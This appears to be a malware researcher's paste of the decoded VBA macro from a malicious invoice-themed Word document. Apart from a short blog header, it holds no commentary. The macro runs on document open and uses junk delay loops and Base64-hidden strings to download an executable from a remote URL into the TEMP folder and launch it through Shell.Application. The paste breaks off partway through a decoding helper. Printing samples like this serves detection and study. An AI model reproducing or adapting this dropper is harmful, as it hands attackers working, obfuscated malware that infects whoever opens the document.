SHARE
TWEET

Windsor Flowers Invoice 2 decoded

Sanesecurity Jan 28th, 2015 44 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. http://sanesecurity.blogspot.co.uk/
  2. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  3. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. Private Const u3Uwsv = "aHR0cDovL3ZpdmVyY29tcmVxdWludGUuY29tLmJyL2pzL2Jpbi5leGU/PTQzNTQzNQ=="
  14. Private Const SwH7 = "XHNkZnNkZmVyZndlLmV4ZQ=="
  15. Private Const rEKE = "VEVNUA=="
  16. Private Const rpg = SwH7
  17. Private Const fSt = rEKE
  18. Private Const dThZ7U4aF = "U2hlbGwuQXBwbGljYXRpb24="
  19. Private Const qsVrDVAmOj = "Z2ZoZGZnc2Rn"
  20. Private Const SFgBv0ISXZ = "R0VU"
  21. Private Const Ky1e8CmX3 = "TVNYTUwyLlhNTEhUVFA="
  22. Private aDecTab(255) As Integer
  23. Private Const TcKhQpncb = "="
  24. Private Const uwbNZtnc = "/"
  25. Private Const mE4AWCC3O = "+"
  26. Private Const rH2A = "9"
  27. Private Const MPt = "0"
  28. Private Const o4YsRAnX = "z"
  29. Private Const vJ5d = "a"
  30. Private Const lVvyl = "Z"
  31. Private Const uoqGqBG = "A"
  32. Private Const BvWUutkkp = " "
  33.  
  34. Sub Zkp()
  35.  HJlIT
  36. Dim SIzNYGGt As Integer
  37. SIzNYGGt = 1023
  38. Do While SIzNYGGt < 1023 + 10
  39. SIzNYGGt = SIzNYGGt + 1: DoEvents
  40. Loop
  41. Dim uranMM As Integer
  42. uranMM = 2195
  43. Do While uranMM < 2195 + 10
  44. uranMM = uranMM + 1: DoEvents
  45. Loop
  46. End Sub
  47. Sub iVF()
  48.      Zkp
  49. Dim CFxVzeNJ As Integer
  50. CFxVzeNJ = 1594
  51. Do While CFxVzeNJ < 1594 + 10
  52. CFxVzeNJ = CFxVzeNJ + 1: DoEvents
  53. Loop
  54. Dim JlFkIaAbgyhDny As Integer
  55. JlFkIaAbgyhDny = 1244
  56. Do While JlFkIaAbgyhDny < 1244 + 10
  57. JlFkIaAbgyhDny = JlFkIaAbgyhDny + 1: DoEvents
  58. Loop
  59. End Sub
  60. Sub NRug8O()
  61.      Zkp
  62. Dim tgHeqEmDpt As Integer
  63. tgHeqEmDpt = 1592
  64. Do While tgHeqEmDpt < 1592 + 10
  65. tgHeqEmDpt = tgHeqEmDpt + 1: DoEvents
  66. Loop
  67. Dim kIaAbmgyh As Integer
  68. kIaAbmgyh = 1054
  69. Do While kIaAbmgyh < 1054 + 10
  70. kIaAbmgyh = kIaAbmgyh + 1: DoEvents
  71. Loop
  72. End Sub
  73. Function fhfderwer(ByVal jkrdewf As String, ByVal jkjrtewf As String) As Boolean
  74.      Dim lujjb As Long, hjker As Long, dsjhgfwqer() As Byte
  75. Dim ySIzNYGGtg As Integer
  76. ySIzNYGGtg = 1687
  77. Do While ySIzNYGGtg < 1687 + 10
  78. ySIzNYGGtg = ySIzNYGGtg + 1: DoEvents
  79. Loop
  80. Dim EALdszBK As Integer
  81. EALdszBK = 1529
  82. Do While EALdszBK < 1529 + 10
  83. EALdszBK = EALdszBK + 1: DoEvents
  84. Loop
  85.  
  86. Dim KgirBwZp As Integer
  87. KgirBwZp = 803
  88. Do While KgirBwZp < 803 + 10
  89. KgirBwZp = KgirBwZp + 1: DoEvents
  90. Loop
  91. Dim HqqddEMa As Integer
  92. HqqddEMa = 2416
  93. Do While HqqddEMa < 2416 + 10
  94. HqqddEMa = HqqddEMa + 1: DoEvents
  95. Loop
  96.     Set dsfsdf = CreateObject(tocFpmF(Ky1e8CmX3))
  97. Dim kkjoLZDQPgjmeCRK As Integer
  98. kkjoLZDQPgjmeCRK = 961
  99. Do While kkjoLZDQPgjmeCRK < 961 + 10
  100. kkjoLZDQPgjmeCRK = kkjoLZDQPgjmeCRK + 1: DoEvents
  101. Loop
  102. Dim fKTTSYI As Integer
  103. fKTTSYI = 2227
  104. Do While fKTTSYI < 2227 + 10
  105. fKTTSYI = fKTTSYI + 1: DoEvents
  106. Loop
  107.     dsfsdf.Open tocFpmF(SFgBv0ISXZ), jkrdewf, False
  108. Dim aBVAZqCroiAUEOUQdtu As Integer
  109. aBVAZqCroiAUEOUQdtu = 959
  110. Do While aBVAZqCroiAUEOUQdtu < 959 + 10
  111. aBVAZqCroiAUEOUQdtu = aBVAZqCroiAUEOUQdtu + 1: DoEvents
  112. Loop
  113. Dim dqPPrAMo As Integer
  114. dqPPrAMo = 2334
  115. Do While dqPPrAMo < 2334 + 10
  116. dqPPrAMo = dqPPrAMo + 1: DoEvents
  117. Loop
  118.     dsfsdf.Send tocFpmF(qsVrDVAmOj)
  119. Dim hQMBVMDQb As Integer
  120. hQMBVMDQb = 2430
  121. Do While hQMBVMDQb < 2430 + 10
  122. hQMBVMDQb = hQMBVMDQb + 1: DoEvents
  123. Loop
  124. Dim nphGVN As Integer
  125. nphGVN = 25
  126. Do While nphGVN < 25 + 10
  127. nphGVN = nphGVN + 1: DoEvents
  128. Loop
  129.  
  130. Dim UeBjMcIOiqgL As Integer
  131. UeBjMcIOiqgL = 1607
  132. Do While UeBjMcIOiqgL < 1607 + 10
  133. UeBjMcIOiqgL = UeBjMcIOiqgL + 1: DoEvents
  134. Loop
  135. Dim cvBJyeno As Integer
  136. cvBJyeno = 2399
  137. Do While cvBJyeno < 2399 + 10
  138. cvBJyeno = cvBJyeno + 1: DoEvents
  139. Loop
  140.  
  141. Dim McIOiq As Integer
  142. McIOiq = 1133
  143. Do While McIOiq < 1133 + 10
  144. McIOiq = McIOiq + 1: DoEvents
  145. Loop
  146. Dim oxUPtvcvByenomrOUcG As Integer
  147. oxUPtvcvByenomrOUcG = 1639
  148. Do While oxUPtvcvByenomrOUcG < 1639 + 10
  149. oxUPtvcvByenomrOUcG = oxUPtvcvByenomrOUcG + 1: DoEvents
  150. Loop
  151.     dsjhgfwqer = dsfsdf.responseBody
  152. Dim LGGFK As Integer
  153. LGGFK = 2492
  154. Do While LGGFK < 2492 + 10
  155. LGGFK = LGGFK + 1: DoEvents
  156. Loop
  157. Dim AMoInLe As Integer
  158. AMoInLe = 1164
  159. Do While AMoInLe < 1164 + 10
  160. AMoInLe = AMoInLe + 1: DoEvents
  161. Loop
  162.  
  163. Dim RoJiokwzNkluzdsKfysiN As Integer
  164. RoJiokwzNkluzdsKfysiN = 845
  165. Do While RoJiokwzNkluzdsKfysiN < 845 + 10
  166. RoJiokwzNkluzdsKfysiN = RoJiokwzNkluzdsKfysiN + 1: DoEvents
  167. Loop
  168. Dim qqpufltJjzpskIQOwlFwAKttghH As Integer
  169. qqpufltJjzpskIQOwlFwAKttghH = 1006
  170. Do While qqpufltJjzpskIQOwlFwAKttghH < 1006 + 10
  171. qqpufltJjzpskIQOwlFwAKttghH = qqpufltJjzpskIQOwlFwAKttghH + 1: DoEvents
  172. Loop
  173.     hjker = FreeFile
  174. Dim InLeDep As Integer
  175. InLeDep = 1766
  176. Do While InLeDep < 1766 + 10
  177. InLeDep = InLeDep + 1: DoEvents
  178. Loop
  179. Dim fNMAmNkwKsJv As Integer
  180. fNMAmNkwKsJv = 1683
  181. Do While fNMAmNkwKsJv < 1683 + 10
  182. fNMAmNkwKsJv = fNMAmNkwKsJv + 1: DoEvents
  183. Loop
  184.     Open jkjrtewf For Binary Access Write As #hjker
  185. Dim ZgJQVmqskJZ As Integer
  186. ZgJQVmqskJZ = 226
  187. Do While ZgJQVmqskJZ < 226 + 10
  188. ZgJQVmqskJZ = ZgJQVmqskJZ + 1: DoEvents
  189. Loop
  190. Dim dDpFILDd As Integer
  191. dDpFILDd = 511
  192. Do While dDpFILDd < 511 + 10
  193. dDpFILDd = dDpFILDd + 1: DoEvents
  194. Loop
  195.     Put #hjker, , dsjhgfwqer
  196. Dim QVmqskJZQB As Integer
  197. QVmqskJZQB = 1018
  198. Do While QVmqskJZQB < 1018 + 10
  199. QVmqskJZQB = QVmqskJZQB + 1: DoEvents
  200. Loop
  201. Dim OJKINy As Integer
  202. OJKINy = 101
  203. Do While OJKINy < 101 + 10
  204. OJKINy = OJKINy + 1: DoEvents
  205. Loop
  206.     Close #hjker
  207. Dim puRZgJQ As Integer
  208. puRZgJQ = 1176
  209. Do While puRZgJQ < 1176 + 10
  210. puRZgJQ = puRZgJQ + 1: DoEvents
  211. Loop
  212. Dim RltjOJKINy As Integer
  213. RltjOJKINy = 101
  214. Do While RltjOJKINy < 101 + 10
  215. RltjOJKINy = RltjOJKINy + 1: DoEvents
  216. Loop
  217.    
  218. Dim DPsLrOhG As Integer
  219. DPsLrOhG = 102
  220. Do While DPsLrOhG < 102 + 10
  221. DPsLrOhG = DPsLrOhG + 1: DoEvents
  222. Loop
  223. Dim UPEZPGfNMAmNkwKsJv As Integer
  224. UPEZPGfNMAmNkwKsJv = 1683
  225. Do While UPEZPGfNMAmNkwKsJv < 1683 + 10
  226. UPEZPGfNMAmNkwKsJv = UPEZPGfNMAmNkwKsJv + 1: DoEvents
  227. Loop
  228. Set hgjrtref = CreateObject(tocFpmF(dThZ7U4aF))
  229. Dim RkJkvpHr As Integer
  230. RkJkvpHr = 746
  231. Do While RkJkvpHr < 746 + 10
  232. RkJkvpHr = RkJkvpHr + 1: DoEvents
  233. Loop
  234. Dim iQPDqQnzOvMz As Integer
  235. iQPDqQnzOvMz = 747
  236. Do While iQPDqQnzOvMz < 747 + 10
  237. iQPDqQnzOvMz = iQPDqQnzOvMz + 1: DoEvents
  238. Loop
  239. hgjrtref.Open Environ(tocFpmF(fSt)) & tocFpmF(rpg)
  240. Dim cUEmpJmqEAk As Integer
  241. cUEmpJmqEAk = 2360
  242. Do While cUEmpJmqEAk < 2360 + 10
  243. cUEmpJmqEAk = cUEmpJmqEAk + 1: DoEvents
  244. Loop
  245. Dim YTHcSJY As Integer
  246. YTHcSJY = 1822
  247. Do While YTHcSJY < 1822 + 10
  248. YTHcSJY = YTHcSJY + 1: DoEvents
  249. Loop
  250. End Function
  251. Sub HJlIT()
  252. BHngijbjfdv = Environ(tocFpmF(fSt)) & tocFpmF(rpg)
  253. Dim FltusxUcjNa As Integer
  254. FltusxUcjNa = 240
  255. Do While FltusxUcjNa < 240 + 10
  256. FltusxUcjNa = FltusxUcjNa + 1: DoEvents
  257. Loop
  258. Dim YTHcSJYQPDqQn As Integer
  259. YTHcSJYQPDqQn = 2393
  260. Do While YTHcSJYQPDqQn < 2393 + 10
  261. YTHcSJYQPDqQn = YTHcSJYQPDqQn + 1: DoEvents
  262. Loop
  263. sdnfhuijk = tocFpmF(u3Uwsv)
  264. Dim mpJmqEAkx As Integer
  265. mpJmqEAkx = 1444
  266. Do While mpJmqEAkx < 1444 + 10
  267. mpJmqEAkx = mpJmqEAkx + 1: DoEvents
  268. Loop
  269. Dim bxTsy As Integer
  270. bxTsy = 1774
  271. Do While bxTsy < 1774 + 10
  272. bxTsy = bxTsy + 1: DoEvents
  273. Loop
  274.      fhfderwer sdnfhuijk, BHngijbjfdv
  275. Dim nMnysKuQALQN As Integer
  276. nMnysKuQALQN = 981
  277. Do While nMnysKuQALQN < 981 + 10
  278. nMnysKuQALQN = nMnysKuQALQN + 1: DoEvents
  279. Loop
  280. Dim qDRzQCGgURLe As Integer
  281. qDRzQCGgURLe = 1487
  282. Do While qDRzQCGgURLe < 1487 + 10
  283. qDRzQCGgURLe = qDRzQCGgURLe + 1: DoEvents
  284. Loop
  285. End Sub
  286. Sub autoopen()
  287.      Zkp
  288. Dim nysKuQALQNZ As Integer
  289. nysKuQALQNZ = 1835
  290. Do While nysKuQALQNZ < 1835 + 10
  291. nysKuQALQNZ = nysKuQALQNZ + 1: DoEvents
  292. Loop
  293. Dim pICsYhhfkVOV As Integer
  294. pICsYhhfkVOV = 1234
  295. Do While pICsYhhfkVOV < 1234 + 10
  296. pICsYhhfkVOV = pICsYhhfkVOV + 1: DoEvents
  297. Loop
  298. End Sub
  299.  
  300. Public Function tocFpmF(ertwefsd As String) As String
  301. Dim vAd As String
  302. Dim DDqqRanOiNmD As Integer
  303. DDqqRanOiNmD = 1109
  304. Do While DDqqRanOiNmD < 1109 + 10
  305. DDqqRanOiNmD = DDqqRanOiNmD + 1: DoEvents
  306. Loop
  307. Dim VaAalf As Integer
  308. VaAalf = 1249
  309. Do While VaAalf < 1249 + 10
  310. VaAalf = VaAalf + 1: DoEvents
  311. Loop
  312. Dim d(3) As Byte
  313. Dim GGttUdqRmQpG As Integer
  314. GGttUdqRmQpG = 173
  315. Do While GGttUdqRmQpG < 173 + 10
  316. GGttUdqRmQpG = GGttUdqRmQpG + 1: DoEvents
  317. Loop
  318. Dim anaMoKIlS As Integer
  319. anaMoKIlS = 1027
  320. Do While anaMoKIlS < 1027 + 10
  321. anaMoKIlS = anaMoKIlS + 1: DoEvents
  322. Loop
  323. Dim C As Byte
  324. Dim SHEyQNkTfl As Integer
  325. SHEyQNkTfl = 584
  326. Do While SHEyQNkTfl < 584 + 10
  327. SHEyQNkTfl = SHEyQNkTfl + 1: DoEvents
  328. Loop
  329. Dim IlSkVaAalf As Integer
  330. IlSkVaAalf = 1249
  331. Do While IlSkVaAalf < 1249 + 10
  332. IlSkVaAalf = IlSkVaAalf + 1: DoEvents
  333. Loop
  334. Dim di As Integer
  335. Dim InNzOSVNm As Integer
  336. InNzOSVNm = 203
  337. Do While InNzOSVNm < 203 + 10
  338. InNzOSVNm = InNzOSVNm + 1: DoEvents
  339. Loop
  340. Dim LSUeBwac As Integer
  341. LSUeBwac = 2178
  342. Do While LSUeBwac < 2178 + 10
  343. LSUeBwac = LSUeBwac + 1: DoEvents
  344. Loop
  345. Dim i As Long
  346. Dim MnbYRkhEay As Integer
  347. MnbYRkhEay = 1135
  348. Do While MnbYRkhEay < 1135 + 10
  349. MnbYRkhEay = MnbYRkhEay + 1: DoEvents
  350. Loop
  351. Dim FxQleOwySANKtGggH As Integer
  352. FxQleOwySANKtGggH = 1071
  353. Do While FxQleOwySANKtGggH < 1071 + 10
  354. FxQleOwySANKtGggH = FxQleOwySANKtGggH + 1: DoEvents
  355. Loop
  356. Dim Yagv1OZ As Long
  357. Dim ELqQCSVZQp As Integer
  358. ELqQCSVZQp = 1767
  359. Do While ELqQCSVZQp < 1767 + 10
  360. ELqQCSVZQp = ELqQCSVZQp + 1: DoEvents
  361. Loop
  362. Dim RZOuDECHfl As Integer
  363. RZOuDECHfl = 1230
  364. Do While RZOuDECHfl < 1230 + 10
  365. RZOuDECHfl = RZOuDECHfl + 1: DoEvents
  366. Loop
  367. Dim ahUiR2UU6UrM As Long
  368. Dim VolHd As Integer
  369. VolHd = 2444
  370. Do While VolHd < 2444 + 10
  371. VolHd = VolHd + 1: DoEvents
  372. Loop
  373. Dim CUDbKUbQjz As Integer
  374. CUDbKUbQjz = 1465
  375. Do While CUDbKUbQjz < 1465 + 10
  376. CUDbKUbQjz = CUDbKUbQjz + 1: DoEvents
  377. Loop
  378. Yagv1OZ = Len(ertwefsd)
  379. Dim dCHDPSiDEN As Integer
  380. dCHDPSiDEN = 484
  381. Do While dCHDPSiDEN < 484 + 10
  382. dCHDPSiDEN = dCHDPSiDEN + 1: DoEvents
  383. Loop
  384. Dim gHcGfxQxICUD As Integer
  385. gHcGfxQxICUD = 2001
  386. Do While gHcGfxQxICUD < 2001 + 10
  387. gHcGfxQxICUD = gHcGfxQxICUD + 1: DoEvents
  388. Loop
  389. vAd = String((Yagv1OZ \ 4) * 3, BvWUutkkp)
  390. Dim eAMbIaLPq As Integer
  391. eAMbIaLPq = 2413
  392. Do While eAMbIaLPq < 2413 + 10
  393. eAMbIaLPq = eAMbIaLPq + 1: DoEvents
  394. Loop
  395. Dim slUCE As Integer
  396. slUCE = 1511
  397. Do While slUCE < 1511 + 10
  398. slUCE = slUCE + 1: DoEvents
  399. Loop
  400. ahUiR2UU6UrM = 0
  401. Dim janyhgT As Integer
  402. janyhgT = 1034
  403. Do While janyhgT < 1034 + 10
  404. janyhgT = janyhgT + 1: DoEvents
  405. Loop
  406. Dim zdqpFJM As Integer
  407. zdqpFJM = 2396
  408. Do While zdqpFJM < 2396 + 10
  409. zdqpFJM = zdqpFJM + 1: DoEvents
  410. Loop
  411. di = 0
  412. Dim rAZFjyfEMCide As Integer
  413. rAZFjyfEMCide = 338
  414. Do While rAZFjyfEMCide < 338 + 10
  415. rAZFjyfEMCide = rAZFjyfEMCide + 1: DoEvents
  416. Loop
  417. Dim gkJkvpHE As Integer
  418. gkJkvpHE = 1827
  419. Do While gkJkvpHE < 1827 + 10
  420. gkJkvpHE = gkJkvpHE + 1: DoEvents
  421. Loop
  422. Call kp1UWLnYV
  423. Dim CfyeCTg As Integer
  424. CfyeCTg = 287
  425. Do While CfyeCTg < 287 + 10
  426. CfyeCTg = CfyeCTg + 1: DoEvents
  427. Loop
  428. Dim HpsMptHRmAna As Integer
  429. HpsMptHRmAna = 1016
  430. Do While HpsMptHRmAna < 1016 + 10
  431. HpsMptHRmAna = HpsMptHRmAna + 1: DoEvents
  432. Loop
  433.  
  434. Dim hsyuFQYt As Integer
  435. hsyuFQYt = 2439
  436. Do While hsyuFQYt < 2439 + 10
  437. hsyuFQYt = hsyuFQYt + 1: DoEvents
  438. Loop
  439. Dim jnMnysKH As Integer
  440. jnMnysKH = 891
  441. Do While jnMnysKH < 891 + 10
  442. jnMnysKH = jnMnysKH + 1: DoEvents
  443. Loop
  444. For i = 1 To Len(ertwefsd)
  445. Dim oQQJJ As Integer
  446. oQQJJ = 588
  447. Do While oQQJJ < 588 + 10
  448. oQQJJ = oQQJJ + 1: DoEvents
  449. Loop
  450. Dim ibKsvPswKUq As Integer
  451. ibKsvPswKUq = 553
  452. Do While ibKsvPswKUq < 553 + 10
  453. ibKsvPswKUq = ibKsvPswKUq + 1: DoEvents
  454. Loop
  455. C = CByte(Asc(Mid(ertwefsd, i, 1)))
  456. Dim VMmOtraNjZP As Integer
  457. VMmOtraNjZP = 427
  458. Do While VMmOtraNjZP < 427 + 10
  459. VMmOtraNjZP = VMmOtraNjZP + 1: DoEvents
  460. Loop
  461. Dim DpipTggv As Integer
  462. DpipTggv = 1820
  463. Do While DpipTggv < 1820 + 10
  464. DpipTggv = DpipTggv + 1: DoEvents
  465. Loop
  466. C = aDecTab(C)
  467. Dim sYfyGvb As Integer
  468. sYfyGvb = 1992
  469. Do While sYfyGvb < 1992 + 10
  470. sYfyGvb = sYfyGvb + 1: DoEvents
  471. Loop
  472. Dim qOUQdguPRblg As Integer
  473. qOUQdguPRblg = 1960
  474. Do While qOUQdguPRblg < 1960 + 10
  475. qOUQdguPRblg = qOUQdguPRblg + 1: DoEvents
  476. Loop
  477. If C >= 0 Then
  478. Dim McjkuRMq As Integer
  479. McjkuRMq = 695
  480. Do While McjkuRMq < 695 + 10
  481. McjkuRMq = McjkuRMq + 1: DoEvents
  482. Loop
  483. Dim eNwySv As Integer
  484. eNwySv = 851
  485. Do While eNwySv < 851 + 10
  486. eNwySv = eNwySv + 1: DoEvents
  487. Loop
  488. d(di) = C
  489. Dim ZdOUd As Integer
  490. ZdOUd = 1753
  491. Do While ZdOUd < 1753 + 10
  492. ZdOUd = ZdOUd + 1: DoEvents
  493. Loop
  494. Dim SUeojMcu As Integer
  495. SUeojMcu = 2130
  496. Do While SUeojMcu < 2130 + 10
  497. SUeojMcu = SUeojMcu + 1: DoEvents
  498. Loop
  499. di = di + 1
  500. Dim rnzPfm As Integer
  501. rnzPfm = 1877
  502. Do While rnzPfm < 1877 + 10
  503. rnzPfm = rnzPfm + 1: DoEvents
  504. Loop
  505. Dim xuoGDbwUbQ As Integer
  506. xuoGDbwUbQ = 608
  507. Do While xuoGDbwUbQ < 608 + 10
  508. xuoGDbwUbQ = xuoGDbwUbQ + 1: DoEvents
  509. Loop
  510. If di = 4 Then
  511. Dim RQkhPdC As Integer
  512. RQkhPdC = 890
  513. Do While RQkhPdC < 890 + 10
  514. RQkhPdC = RQkhPdC + 1: DoEvents
  515. Loop
  516. Dim MnZpsv As Integer
  517. MnZpsv = 2252
  518. Do While MnZpsv < 2252 + 10
  519. MnZpsv = MnZpsv + 1: DoEvents
  520. Loop
  521. Mid$(vAd, ahUiR2UU6UrM + 1, 3) = wXV8Ug(d)
  522. Dim vlQabZeHOtGFVZcT As Integer
  523. vlQabZeHOtGFVZcT = 7
  524. Do While vlQabZeHOtGFVZcT < 7 + 10
  525. vlQabZeHOtGFVZcT = vlQabZeHOtGFVZcT + 1: DoEvents
  526. Loop
  527. Dim nIKTrZC As Integer
  528. nIKTrZC = 2169
  529. Do While nIKTrZC < 2169 + 10
  530. nIKTrZC = nIKTrZC + 1: DoEvents
  531. Loop
  532. ahUiR2UU6UrM = ahUiR2UU6UrM + 3
  533. Dim QnmNvMy As Integer
  534. QnmNvMy = 747
  535. Do While QnmNvMy < 747 + 10
  536. QnmNvMy = QnmNvMy + 1: DoEvents
  537. Loop
  538. Dim zaZpfi As Integer
  539. zaZpfi = 1062
  540. Do While zaZpfi < 1062 + 10
  541. zaZpfi = zaZpfi + 1: DoEvents
  542. Loop
  543. If d(3) = 64 Then
  544. Dim YFHcEJQ As Integer
  545. YFHcEJQ = 1823
  546. Do While YFHcEJQ < 1823 + 10
  547. YFHcEJQ = YFHcEJQ + 1: DoEvents
  548. Loop
  549. Dim Cddsil As Integer
  550. Cddsil = 126
  551. Do While Cddsil < 126 + 10
  552. Cddsil = Cddsil + 1: DoEvents
  553. Loop
  554. vAd = Left(vAd, Len(vAd) - 1)
  555. Dim sVlEYrmb As Integer
  556. sVlEYrmb = 822
  557. Do While sVlEYrmb < 822 + 10
  558. sVlEYrmb = sVlEYrmb + 1: DoEvents
  559. Loop
  560. Dim inYfmC As Integer
  561. inYfmC = 315
  562. Do While inYfmC < 315 + 10
  563. inYfmC = inYfmC + 1: DoEvents
  564. Loop
  565. ahUiR2UU6UrM = ahUiR2UU6UrM - 1
  566. Dim HcupeKS As Integer
  567. HcupeKS = 963
  568. Do While HcupeKS < 963 + 10
  569. HcupeKS = HcupeKS + 1: DoEvents
  570. Loop
  571. Dim rzAJi As Integer
  572. rzAJi = 235
  573. Do While rzAJi < 235 + 10
  574. rzAJi = rzAJi + 1: DoEvents
  575. Loop
  576. End If
  577. Dim flhsvKghrA As Integer
  578. flhsvKghrA = 2227
  579. Do While flhsvKghrA < 2227 + 10
  580. flhsvKghrA = flhsvKghrA + 1: DoEvents
  581. Loop
  582. Dim qBHDOguCDM As Integer
  583. qBHDOguCDM = 659
  584. Do While qBHDOguCDM < 659 + 10
  585. qBHDOguCDM = qBHDOguCDM + 1: DoEvents
  586. Loop
  587. If d(2) = 64 Then
  588. Dim JwjJgtHpGs As Integer
  589. JwjJgtHpGs = 185
  590. Do While JwjJgtHpGs < 185 + 10
  591. JwjJgtHpGs = JwjJgtHpGs + 1: DoEvents
  592. Loop
  593. Dim dqPPrzLo As Integer
  594. dqPPrzLo = 2400
  595. Do While dqPPrzLo < 2400 + 10
  596. dqPPrzLo = dqPPrzLo + 1: DoEvents
  597. Loop
  598. vAd = Left(vAd, Len(vAd) - 1)
  599. Dim lrnzCQmoxHC As Integer
  600. lrnzCQmoxHC = 451
  601. Do While lrnzCQmoxHC < 451 + 10
  602. lrnzCQmoxHC = lrnzCQmoxHC + 1: DoEvents
  603. Loop
  604. Dim KGRjxFGQo As Integer
  605. KGRjxFGQo = 863
  606. Do While KGRjxFGQo < 863 + 10
  607. KGRjxFGQo = KGRjxFGQo + 1: DoEvents
  608. Loop
  609. ahUiR2UU6UrM = ahUiR2UU6UrM - 1
  610. Dim MMzmNwKsJvz As Integer
  611. MMzmNwKsJvz = 2285
  612. Do While MMzmNwKsJvz < 2285 + 10
  613. MMzmNwKsJvz = MMzmNwKsJvz + 1: DoEvents
  614. Loop
  615. Dim DAjwVVx As Integer
  616. DAjwVVx = 1446
  617. Do While DAjwVVx < 1446 + 10
  618. DAjwVVx = DAjwVVx + 1: DoEvents
  619. Loop
  620. End If
  621. Dim HcSIQhPPDpQ As Integer
  622. HcSIQhPPDpQ = 938
  623. Do While HcSIQhPPDpQ < 938 + 10
  624. HcSIQhPPDpQ = HcSIQhPPDpQ + 1: DoEvents
  625. Loop
  626. Dim OEktusxUbi As Integer
  627. OEktusxUbi = 2490
  628. Do While OEktusxUbi < 2490 + 10
  629. OEktusxUbi = OEktusxUbi + 1: DoEvents
  630. Loop
  631. di = 0
  632. Dim VlRYrzp As Integer
  633. VlRYrzp = 1903
  634. Do While VlRYrzp < 1903 + 10
  635. VlRYrzp = VlRYrzp + 1: DoEvents
  636. Loop
  637. Dim oJxGeZCElEKS As Integer
  638. oJxGeZCElEKS = 382
  639. Do While oJxGeZCElEKS < 382 + 10
  640. oJxGeZCElEKS = oJxGeZCElEKS + 1: DoEvents
  641. Loop
  642. End If
  643. Dim yQNkTfkhs As Integer
  644. yQNkTfkhs = 1219
  645. Do While yQNkTfkhs < 1219 + 10
  646. yQNkTfkhs = yQNkTfkhs + 1: DoEvents
  647. Loop
  648. Dim IlRjVazalf As Integer
  649. IlRjVazalf = 1314
  650. Do While IlRjVazalf < 1314 + 10
  651. IlRjVazalf = IlRjVazalf + 1: DoEvents
  652. Loop
  653. End If
  654. Dim xRIzMQGFtt As Integer
  655. xRIzMQGFtt = 334
  656. Do While xRIzMQGFtt < 334 + 10
  657. xRIzMQGFtt = xRIzMQGFtt + 1: DoEvents
  658. Loop
  659. Dim PqMLo As Integer
  660. PqMLo = 2466
  661. Do While PqMLo < 2466 + 10
  662. PqMLo = PqMLo + 1: DoEvents
  663. Loop
  664. Next i
  665. Dim LAULC As Integer
  666. LAULC = 1737
  667. Do While LAULC < 1737 + 10
  668. LAULC = LAULC + 1: DoEvents
  669. Loop
  670. Dim JVVlp As Integer
  671. JVVlp = 2227
  672. Do While JVVlp < 2227 + 10
  673. JVVlp = JVVlp + 1: DoEvents
  674. Loop
  675.  tocFpmF = vAd
  676. Dim zdeKRksiN As Integer
  677. zdeKRksiN = 802
  678. Do While zdeKRksiN < 802 + 10
  679. zdeKRksiN = zdeKRksiN + 1: DoEvents
  680. Loop
  681. Dim tsxibiMa As Integer
  682. tsxibiMa = 371
  683. Do While tsxibiMa < 371 + 10
  684. tsxibiMa = tsxibiMa + 1: DoEvents
  685. Loop
  686. End Function
  687. Private Function wXV8Ug(d() As Byte) As String
  688. Dim MUlJcBiW As String
  689. Dim wlQMMKP As Integer
  690. wlQMMKP = 751
  691. Do While wlQMMKP < 751 + 10
  692. wlQMMKP = wlQMMKP + 1: DoEvents
  693. Loop
  694. Dim gEKGSVkFHQ As Integer
  695. gEKGSVkFHQ = 2114
  696. Do While gEKGSVkFHQ < 2114 + 10
  697. gEKGSVkFHQ = gEKGSVkFHQ + 1: DoEvents
  698. Loop
  699. Dim C As Long
  700. Dim IbJhQbhdpFU As Integer
  701. IbJhQbhdpFU = 862
  702. Do While IbJhQbhdpFU < 862 + 10
  703. IbJhQbhdpFU = IbJhQbhdpFU + 1: DoEvents
  704. Loop
  705. Dim kGShOgRVwk As Integer
  706. kGShOgRVwk = 2000
  707. Do While kGShOgRVwk < 2000 + 10
  708. kGShOgRVwk = kGShOgRVwk + 1: DoEvents
  709. Loop
  710. MUlJcBiW = vbNullString
  711. Dim JQTCPppQa As Integer
  712. JQTCPppQa = 1334
  713. Do While JQTCPppQa < 1334 + 10
  714. JQTCPppQa = JQTCPppQa + 1: DoEvents
  715. Loop
  716. Dim ldCfJu As Integer
  717. ldCfJu = 587
  718. Do While ldCfJu < 587 + 10
  719. ldCfJu = ldCfJu + 1: DoEvents
  720. Loop
  721. C = RTgCMP8ArHN(d(0)) Or (fmTcJ(d(1)) And &H3)
  722. Dim VYEYemb As Integer
  723. VYEYemb = 779
  724. Do While VYEYemb < 779 + 10
  725. VYEYemb = VYEYemb + 1: DoEvents
  726. Loop
  727. Dim AJiOsHou As Integer
  728. AJiOsHou = 665
  729. Do While AJiOsHou < 665 + 10
  730. AJiOsHou = AJiOsHou + 1: DoEvents
  731. Loop
  732. MUlJcBiW = MUlJcBiW & Chr$(C)
  733. Dim NkGfQSfvKgT As Integer
  734. NkGfQSfvKgT = 1424
  735. Do While NkGfQSfvKgT < 1424 + 10
  736. NkGfQSfvKgT = NkGfQSfvKgT + 1: DoEvents
  737. Loop
  738. Dim sHouNVLrmnl As Integer
  739. sHouNVLrmnl = 1045
  740. Do While sHouNVLrmnl < 1045 + 10
  741. sHouNVLrmnl = sHouNVLrmnl + 1: DoEvents
  742. Loop
  743. C = sWGD(d(1) And &HF) Or (LBCH1U(d(2)) And &HF)
  744. Dim BTQoJiaQiz As Integer
  745. BTQoJiaQiz = 1596
  746. Do While BTQoJiaQiz < 1596 + 10
  747. BTQoJiaQiz = BTQoJiaQiz + 1: DoEvents
  748. Loop
  749. Dim ddPPrzLo As Integer
  750. ddPPrzLo = 2357
  751. Do While ddPPrzLo < 2357 + 10
  752. ddPPrzLo = ddPPrzLo + 1: DoEvents
  753. Loop
  754. MUlJcBiW = MUlJcBiW & Chr$(C)
  755. Dim qpFIL As Integer
  756. qpFIL = 2484
  757. Do While qpFIL < 2484 + 10
  758. qpFIL = qpFIL + 1: DoEvents
  759. Loop
  760. Dim oHPFlg As Integer
  761. oHPFlg = 2306
  762. Do While oHPFlg < 2306 + 10
